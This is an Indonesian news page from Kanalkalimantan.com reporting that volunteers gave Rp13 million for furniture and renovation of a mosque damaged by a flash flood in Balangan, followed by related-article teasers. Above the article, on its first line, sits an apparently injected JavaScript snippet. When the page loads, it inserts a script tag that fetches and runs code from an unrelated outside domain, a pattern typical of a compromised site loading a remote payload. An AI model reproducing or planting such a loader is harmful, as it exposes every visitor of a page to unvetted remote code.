(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak hanya berdampak kepada aktivitas warga, tetapi juga merusak fasilitas ibadah.
Salah satunya Masjid Nurul Ikhsan Desa Tebing Tinggi yang merupakan pusat kegiatan keagamaan di desa dan sekitarnya.
Hantaman air bah merusak sejumlah fasilitas masjid mulai dari perabotan dan bagian bangunan yang terdampak arus air. Akibatnya, aktivitas ibadah warga sempat terhambat, karena kondisi masjid yang rusak.
Baca juga: Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan
Melihat kondisi itu, Tim TurunTangan Banjarmasin bekerjasama dengan UPZ Bakti Bersama menyalurkan bantuan sebesar Rp13 juta langsung ke lokasi terdampak, Jumat (23/1/2026) siang.
Koordinator Umum TurunTangan Banjarmasin, Muhammad Hadi mengatakan, bantuan difokuskan dalam pengadaan perabotan serta renovasi masjid pascabanjir bandang.
“Fokus penggunaan dana ini dipilih berdasarkan kebutuhan mendesak di lapangan, mengingat masjid tidak hanya berfungsi sebagai tempat ibadah, tetapi juga sebagai ruang sosial, musyawarah, dan pemulihan masyarakat setelah bencana,” ujarnya.
Baca juga: Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”
Bantuan diterima langsung oleh pengurus Masjid Nurul Ikhsan. Relawan dan pengurus masjid berdiskusi terkait kebutuhan prioritas dalam rencana penggunaan dana.
“Pendekatan ini dilakukan agar bantuan yang disalurkan benar-benar tepat sasaran dan dapat memberikan dampak jangka menengah, bukan sekadar pemulihan sementara,” ungkap Hadi.
Kolaborasi TurunTangan Banjarmasin dan UPZ Bakti Bersama menunjukkan peran penting komunitas dan lembaga sosial dalam pemulihan pascabencana.
Baca juga: Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase
Selain mempercepat proses distribusi bantuan, kehadiran mereka turut memperkuat hubungan sosial antara relawan dan masyarakat terdampak.
“Pemulihan pascabencana memang membutuhkan waktu dan proses. Namun, langkah-langkah kecil yang dilakukan secara kolektif dan berorientasi pada kebutuhan nyata masyarakat dapat menjadi fondasi penting bagi bangkitnya kembali kehidupan sosial dan spiritual warga,” pungkasnya. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
This website uses cookies.